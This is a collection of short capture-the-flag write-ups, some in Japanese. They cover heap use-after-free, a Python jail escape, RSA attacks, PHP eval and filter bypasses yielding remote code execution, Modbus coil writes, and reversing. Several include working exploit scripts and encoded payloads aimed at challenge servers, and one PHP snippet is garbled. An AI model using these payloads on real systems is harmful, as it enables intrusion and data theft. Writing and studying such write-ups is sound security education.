![Free](img/free_exploit.png) Both these strins are the same size, so they're going to be placed in the same free list. When the first free gets called, the free list will look something like this: ![Free List](img/free_list_1.png) However, after the second free, the free list will look something like this:![Free List](img/free_list_2.png) This is because free list follows LIFO(Last In First Out), so the last deallocated memory location will be the first one to be next allocated. This is obviously a problem in this implementation. If we now create an arachnoid, the malloc's will go in this order: ![Malloc](img/malloc_exploit.png) We can ignore the first one as it's not the same size. However, the first malloc will pick the first node off the free list. In our case this will be the old code string. The second one, will be the old name string. What has happened here is that the new arachnoid has the code of the last arachnoid as name, and the name of the last arachnoid as code. The exploit is pretty clear here: If we create an arachnoid, delete it, and then create an arachnoid with the name "sp1d3y", the first arachnoid's dangling pointer to it's code will be the pointer to the new arachnoid's name. This will make the first arachnoid's code be "sp1d3y". Let's write an exploit for this: ```python# solve.pyfrom pwn import * conn = remote('64.227.36.32', '31174') def getl(): return conn.recv().decode('utf-8') # create firstprint(getl())conn.sendline(b'1')print(getl())conn.sendline(b'sp1d3y') # delete firstprint(getl())conn.sendline(b'2')print(getl())conn.sendline(b'0') # create secondprint(getl())conn.sendline(b'1')print(getl())conn.sendline(b'sp1d3y' + b'\0' + b'aa') # getprint(getl())conn.sendline(b'4')print(getl())conn.sendline(b'0') conn.interactive()``` ## Flag Running the exploit: ![Flag](img/flag.png)
Lighttheway was a medium rated challenge. We we're given an ip address. Initial nmap scan showed, port 22, 80, and 502 as open ports. Website was hosted on port 80 showing a vehicle and traffic lights. We had to change the lights in a way that would allow the vehicle to go through the highlighted path. Also port 502 was open, which is related to modbus, and as it doesn't have any authentication, and allows to read and write data to coils and registers, changing the values of coils at correct addresses provided the flag. Metasploit module was used to manually read the coil values. Then, pyModbusTCP module was used to write all the values to the coils. Detailed writeup is on my blog.
# Back end code - code ```php ", "", $notetoadd); $notetoadd = str_replace(" ```# Solution notice that input is filtered 3 times, now to escape that filter we need to nest filtered commands, like so: ```php <<< cacacacattttflag --> flaflaflaflagggg``` as you can see i nested the commands four times so that after all the filtering is done we're left with the original command we intended and the final payload: ```php<<<>>>``` `flag{wait_but_i_fixed_it_after_my_last_two_blunders_i_even_filtered_three_times_:(((}`
# Description I've always wanted to visit my friend! He's not fluent in English, but he does know a few words. This made communicating a problem. We did, however, talk about each other a lot! He knows I'm allergic to dogs, and I know that his favourite colour is green! Before leaving for the airport, he left me a message. He's not much into technology so his crypted message really confused me! Can you tell me what he said?```Maui: mai hele mai i kēia lā aia nā ʻīlio```Challenge author: hofill # Procedure: From the description we get know that it is not related to cipher or other kinda stuffI tried this with many ciphers but failed and finally saw the description says that **it is not related to Technology** So I tried Google Translate Finally it belongs to Hawaiian Language. # Flag: **Hint** - TFCCTF{flag_with_underscores} ```TFCCTF{don't_come_today_there_are_dogs}```
Summary: Bypass the restrictions of a Python jail to gain access to a get flag function within an impossible-to-instantiate metaclass class. ```from pwn import * def create_method(p, key, value): '''Creates a method. ''' p.sendline(b'2') p.sendline(key) p.sendline(value) p.recvuntil(b'Option ?') def use_method(p, key): '''Uses a method. ''' p.sendline(b'2') p.sendline(key) p.recvuntil(b'calling method') def main(): # p = process(["python", "./dist/src/challenge.py"]) p = connect('metaeasy.balsnctf.com', 19092) p.recvuntil(b'Option ?') stageA = b"s=self;e='\\x5f'*2;s.N={e+'init'+e:print}" stageB = b"s=self;s.O=type('',(MasterMetaClass,),s.N)" stageC = b"self.O('',(),{}).IWantGETFLAGPlz(0)" create_method(p, b'A', stageA) create_method(p, b'B', stageB) create_method(p, b'C', stageC) for i in [b'A', b'B', b'C']: use_method(p, i) p.recvuntil(b'Here you go, my master\n') flag = p.recvline().strip() log.success('Flag: {}'.format(flag.decode())) if __name__ == '__main__': main()``` Full writeup here: [https://nandynarwhals.org/balsnctf-2021-metaeasy/](https://nandynarwhals.org/balsnctf-2021-metaeasy/)
# Shingeki no RSA:Cryptography One encryption, three params, you know what to do. ```txte = 573539981054118375159951884901136205381955275096471242113613923667834312363548126598981740314307696033323138227176735824259098674326069670063001503892366653022633390483272968412233602239104757299239510751275655288670147128536527296060843927282827574422039154045360669647002461865276005609405093376965933104257 n = 666012509503758414438426745752029036046328310944346357068259451859585174290580664150188141697939659811599336002592599704089746160399428670863696780761420173279676565150259812749267725206078003773597631925996185977321417456827136083352043009732414371490356153874019687554196902819696964658218055292422529903061 c = 208271638964220806986932660131544686073844142913497222151993342727885811478884727510239109595118929917803309949401762080874858518281133929171859315997601484068462684780596513932104673255797873067799046024798017005908221308124294210078684387266545107254593378287958436606968619452939117043031695740389528821956``` # Solution eが非常に大きいので,Wiener's Attackをします.このOSSを使用しました. [https://github.com/orisano/owiener](https://github.com/orisano/owiener) `d=50954488565980029757584514143249292352586758895690937600871123296191815851393` ## SBCTF{d1d_y0u_us3_w13n3r's?}
# Phpbaby:Web:528ptsGet the flag located at the root filesystem [Click here](https://ch3.sbug.se/) # Solutionアクセスすると何やらAAが動いているサイトだ。 [site.png](site/site.png) ソースを見ると不審な点はなく、以下のコメントがあるだけだった。 ```bash$ curl https://ch3.sbug.se/~~~ ~~~```手始めに`/robots.txt`を見ると以下であった。 ```bash$ curl https://ch3.sbug.se/robots.txtuser-agent: *disallow: /Source_Code_Backup````/Source_Code_Backup`にアクセスしてみると、リダイレクトの後ソースに以下があった。 ```bash$ curl https://ch3.sbug.se/Source_Code_Backup -L~~~ ```addslashesを突破するのは簡単で変数展開を用い`${system(ls)}`などやれば任意のコードが実行できる。 文字列の扱いに困った場合はbase64などをかけてやればよい。 ```bash$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMg))\}'Warning: Use of undefined constant bHMg - assumed 'bHMg' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(15) : eval()'d code on line 1SBCTF.pngSource_Code_Backupabcs.pngindex.phplettercrap.csslettercrap.jsrobots.txt~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4v))\}'~~~html~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4vLi4v))\}'~~~backupscacheliblocallocklogmailoptrunspooltmpwww~~~$ curl 'https://ch3.sbug.se/?SBCTF=$\{system(base64_decode(bHMgLi4vLi4vLi4v))\}'~~~SBCTF{eval_93da83d498872a4028dac140d1574290}binbootdevetchomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvar~~~```ルートにflagをファイル名としたものがあった。 ## SBCTF{eval_93da83d498872a4028dac140d1574290}
# Tricks 1:Web:120ptsA couple of PHP tricks, give it a try. [Click here](https://ch5.sbug.se/) # SolutionアクセスするとPHP問であることがわかる。 [site.png](site/site.png) ```php ```パラメータ`a`と`b`は厳密に不等価であり、そのsha1とmd5が厳密に等価であればよい。 まずはsha1とmd5が共に一致するものは見つけにくいので、バイパスを考える。 文字列を引数にとるが、配列を入れるとNULLが返ってくるらしい。 つまり`sha1(["a"]) === sha1(["b"])`や`md5(["a"]) === md5(["b"])`は`NULL === NULL`となり真になる。 もちろん`["a"] !== ["b"]`は真である。 ```bash$ curl "https://ch5.sbug.se/?a[]=a&b[]=b"SBCTF{g07_2_w17h_0n3_SH07?}```flagが得られた。 ## SBCTF{g07_2_w17h_0n3_SH07?}
# Defective RSA ## Buckeye CTF 2021 `I use whatever exponent I want` We are given the file (chall.py). ```pythonfrom Crypto.Util.number import getPrime, inverse, bytes_to_long e = 1440 p = getPrime(1024)q = getPrime(1024)n = p * q flag = b"buckeye{???????????????????????????????}"c = pow(bytes_to_long(flag), e, n) print(f"e = {e}")print(f"p = {p}")print(f"q = {q}")print(f"c = {c}") # e = 1440# p = 108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291# q = 124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307# c = 4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754``` This is a basic RSA but e and phi(N) are not coprime so there is no unique decryption of the ciphertext (Similar to the Rabin-crypto system). But since we are given `p` and `q`, we can compute the e-rooth of the messages (mod p and mod q) and then use the CRT to find the plaintext. We konw the plaintext starts with `buckeye{` so this will allow us to identify the flag. ```pythonfrom Crypto.Util.number import long_to_bytes e = 1440p = 108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291q = 124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307c = 4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754 rmodp = (c % p).nth_root(e, all=True)rq = (c % q).nth_root(e) for rp in rmodp: r = crt(int(rp), int(rq), p, q) flag = long_to_bytes(r) if b"buckeye" in flag: print(flag.decode())``` **NOTE**: To be completely correct, we might have to test for all roots of c mod q and not just the first one. and the flag is `buckeye{r0ots_0f_uN1Ty_w0rk_f0r_th1s???}`
## MISC ### RULES ルールに書いてあります.`TFCCTF{Fl4Gs_f0r_3v3ry0n3!!!^@&#@$?~:}` ### LOST MY HEAD `exiftool -c '%.6f' -GPSPosition img.heic` GPS Position : 46.780761 N, 23.615072 Ehttps://www.google.co.jp/maps/@46.7807559,23.6150516,3a,75y,165.56h,83.45t/data=!3m7!1e1!3m5!1sO_soQ6RVc1Smy5pF2KZvkw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3DO_soQ6RVc1Smy5pF2KZvkw%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D59.896667%26pitch%3D0%26thumbfov%3D100!7i13312!8i6656?hl=ja `TFCCTF{Simion_Musat_4}` ## CRYPTO ### SEA LANGUAGE 1 モールス記号なので,これを変換するだけです. ### SEA LANGUAGE 2 `.`を`0`に,`_`を`1`に置換してから,binary to asciiをします. ### HOLIDAY Google翻訳によると`Maui: Mai hele Mai i kēia lā aia nā ʻīlio`はハワイ語で`don't come today there are dogs`という意味らしいです. `TFCCTF{don't_come_today_there_are_dogs}` ## Web ### MACDONALDS [URL](https://macdonalds-web.challenge.ctf.thefewchosen.com)にアクセスします. どうやら同じディレクトリ内に隠しているフォルダかファイル(リンクが貼られていないけどたどれる)があって,そのファイル名を当てる問題です.問題文に作者はMac OSを使っていると書かれているので,これを利用します. [https://macdonalds-web.challenge.ctf.thefewchosen.com/.DS_Store](https://macdonalds-web.challenge.ctf.thefewchosen.com/.DS_Store)にアクセスすると.DS_Storeファイルが手に入ります.これはディレクトリ内のファイル情報が入っています.DS_Storeファイルはこのサイトで解析できます.[https://labs.internetwache.org/ds_store/](https://labs.internetwache.org/ds_store/) secretsディレクトリがあるらしいです.secretsディレクトリ内の.DS_Storeを確認します. [https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/.DS_Store](https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/.DS_Store) すると,`5973b4cc1d61c110188ee413cddb8652.php`というファイルがあるらしいです. https://macdonalds-web.challenge.ctf.thefewchosen.com/secrets/5973b4cc1d61c110188ee413cddb8652.php `TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}` ### FORENSICS ### AAAAA バイナリエディタで先頭と末尾の`AAA...`を削除すると斯のような画像が出てくる ![](AAAAA.png) `TFCCTF{Gr4phic_d35ign_i5_my_p455ion}`
`exiftool -c '%.6f' -GPSPosition img.heic` GPS Position : 46.780761 N, 23.615072 E[https://www.google.co.jp/maps/@46.7807559,23.6150516,3a,75y,165.56h,83.45t/data=!3m7!1e1!3m5!1sO_soQ6RVc1Smy5pF2KZvkw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3DO_soQ6RVc1Smy5pF2KZvkw%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D59.896667%26pitch%3D0%26thumbfov%3D100!7i13312!8i6656?hl=ja](https://www.google.co.jp/maps/@46.7807559,23.6150516,3a,75y,165.56h,83.45t/data=!3m7!1e1!3m5!1sO_soQ6RVc1Smy5pF2KZvkw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fpanoid%3DO_soQ6RVc1Smy5pF2KZvkw%26cb_client%3Dmaps_sv.tactile.gps%26w%3D203%26h%3D100%26yaw%3D59.896667%26pitch%3D0%26thumbfov%3D100!7i13312!8i6656?hl=ja) `TFCCTF{Simion_Musat_4}`
The binary ask for a 64 bytes password then replace the last \n with a null byte. The buffer is stored at address 0x412000. Then comes a huge amount of operation on this buffer using xor, add,sub,ror and rol opcodes. The final result is compared to 64 bytes stored at address 0x412050, if it matches, we won. The dirty way to solve it, is to start from the 64 bytes at 0x412050 and reverts all operations.Here is the quick and dirty code: ```pythonfrom pwn import *from capstone import * def process_operands(ods): Os = ods.split(", ") nOs = [] for o in Os: if "ptr" in o: address = int(o[o.index('[')+1:o.index("]")],16) newo = o.replace("ptr","") if address != 0x412090: off = address - 0x412000 newo = newo.replace(hex(address),"var + "+str(off)) nOs.append(newo) else: nOs.append(o) return ", ".join(nOs) # get .text and .dataBIN = ELF("./runofthemill")text = BIN.get_section_by_name(".text").data()data = BIN.get_section_by_name(".data").data()data = data[0x50:0x90] # disassemble .textmd = Cs(CS_ARCH_X86, CS_MODE_64)asm = []for i in md.disasm(text, 0x401000): if i.address > 0x401051 and i.address < 0x4117f7: asm.append((i.mnemonic,i.op_str)) # reverse all opsasm = asm[::-1]out = []i = 0while i < len(asm): oc, ods = asm[i] ods = process_operands(ods) if oc == "sub": out.append("add "+ods) elif oc == "add": out.append("sub "+ods) elif oc == "ror": out.append("rol "+ods) elif oc == "rol": out.append("ror "+ods) elif oc == "movq": const = asm[i+4][1].split(", ")[1] ods = ods.replace("mm0","rbx") out.append("mov rbx, "+const) out.append("xor "+ods) i += 4 elif oc == "movabs": out.append("mov "+ods) else: out.append(oc+" "+ods) i += 1 newasm = """global _startsection .text _start: %s mov rax,1 mov rdi,1 mov rsi, var mov rdx, 0x41 syscall mov rax, 0x3c mov rdi, 0 syscall section .data var db """ % "\n ".join(out) for b in data: newasm += str(int(b))+", "newasm += "10, 0\n" f = open("reverse.asm","w")f.write(newasm)f.close() ```Results:```python exploit.pynasm -felf64 reverse.asm -o reverse.old -o reverse reverse.o -m elf_x86_64./reverse DrgnS{SoManyInstructionsYetSoWeak} ```
# Query the Flag:Misc Query the flag # Solution SQLiteでデータベースファイルが与えられます.このサイトを使用して中身をみます. [https://inloop.github.io/sqlite-viewer/](https://inloop.github.io/sqlite-viewer/) 大量の0 rowsのテーブルがあります. ![](https://github.com/xryuseix/CTF_Writeups/blob/master/Thor_2021_CTF/images/db.png?raw=true) 開発者ツールで`1 rows`を検索します. ![](https://github.com/xryuseix/CTF_Writeups/blob/master/Thor_2021_CTF/images/db2.png?raw=true) 256番目のテーブルにフラグがあります. ![](https://github.com/xryuseix/CTF_Writeups/raw/master/Thor_2021_CTF/images/db3.png?raw=true) ## SBCTF{I_w@s_s0_sl33py_D3s1gn1ng_7h1s}
# You Shall Not EVAL:Web:782ptsYou must defeat and pass through many enemies to get to it, and even then, what you desire could only be called upon with great hardship [Click here](https://ch7.sbug.se/) # Solutionアクセスしても以下のメッセージが表示されるだけであった。 ```bash$ curl https://ch7.sbug.se/No 'command' param received.```指示されたパラメータを含めるが怒られる。 ```bash$ curl https://ch7.sbug.se/?command=whoamiAre you trying to inject malicious code?!$ curl https://ch7.sbug.se/?command=aAre you trying to inject malicious code?!```文字が何も与えられないわけもないので、試していると以下のように記号は通るようだった。 ```bash$ curl "https://ch7.sbug.se/?command=@" --headHTTP/2 500~~~$ curl "https://ch7.sbug.se/?command='" --headHTTP/2 500~~~```500なので困っていると`;`で200が返ってきた。 ```bash$ curl 'https://ch7.sbug.se/?command=;' --headHTTP/2 200~~~```コードが実行できそうなので、配列などを試す。 ```bash$ curl 'https://ch7.sbug.se/?command=[]^[];' --headHTTP/2 200~~~```実行できている。 ここでPHPFuckを思い出す。 ```php//printf(([]^[[]]).[][[]]^([].[])[([]^[])]).(([].[])[([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])])//Satoki(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])])//printf(Satoki)((([]^[[]]).[][[]]^([].[])[([]^[])]).(([].[])[([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]))((([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([].[])[([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]).(([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[[]])+([]^[[]]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]).(([]^[]).[][[]]^([].[])[([]^[])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])]^([].[])[([]^[[]])+([]^[[]])+([]^[[]])+([]^[[]])]))```エンコードして実行する。 ```bash$ curl 'https://ch7.sbug.se/?command=%28%28%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29%2E%28%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29%28%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%2E%28%28%5B%5D%5E%5B%5D%29%2E%5B%5D%5B%5B%5D%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%5E%28%5B%5D%2E%5B%5D%29%5B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%2B%28%5B%5D%5E%5B%5B%5D%5D%29%5D%29%29;'Satoki```任意のコードを実行すればよいが、長すぎるので英文字を使えるようにする。 `$_ = "_GET"`が```$_="`{{{"^"?<>/";```で表せると知られている。 `$_GET[_]($_GET[__]($_GET[___]))`とし、`printf(file_get_contents(index.php))`を行う。 GETを消去すると、```$_="`{{{"^"?<>/";${$_}[_](${$_}[__](${$_}[___]));```となるのでアクセスし、ファイルを取得する。 ```bash#https://ch7.sbug.se/?command=$_="`{{{"^"?<>/";${$_}[_](${$_}[__](${$_}[___]));&_=printf&__=file_get_contents&___=index.php$ curl 'https://ch7.sbug.se/?command=$_=%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D(%24%7B%24_%7D%5B__%5D(%24%7B%24_%7D%5B___%5D));&_=printf&__=file_get_contents&___=index.php' $ curl 'https://ch7.sbug.se/?command=$_=%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D(%24%7B%24_%7D%5B__%5D(%24%7B%24_%7D%5B___%5D));&_=printf&__=file_get_contents&___=flag'$ curl 'https://ch7.sbug.se/?command=$_=%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D(%24%7B%24_%7D%5B__%5D(%24%7B%24_%7D%5B___%5D));&_=printf&__=file_get_contents&___=../flag'$ curl 'https://ch7.sbug.se/?command=$_=%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D(%24%7B%24_%7D%5B__%5D(%24%7B%24_%7D%5B___%5D));&_=printf&__=file_get_contents&___=../../flag'SBCTF{7h3r3_4nd_B4ck_4g41n}```たどっていくとflagが運良く手に入った。 場所がわからない場合はコマンド実行すればよい。 ## SBCTF{7h3r3_4nd_B4ck_4g41n}
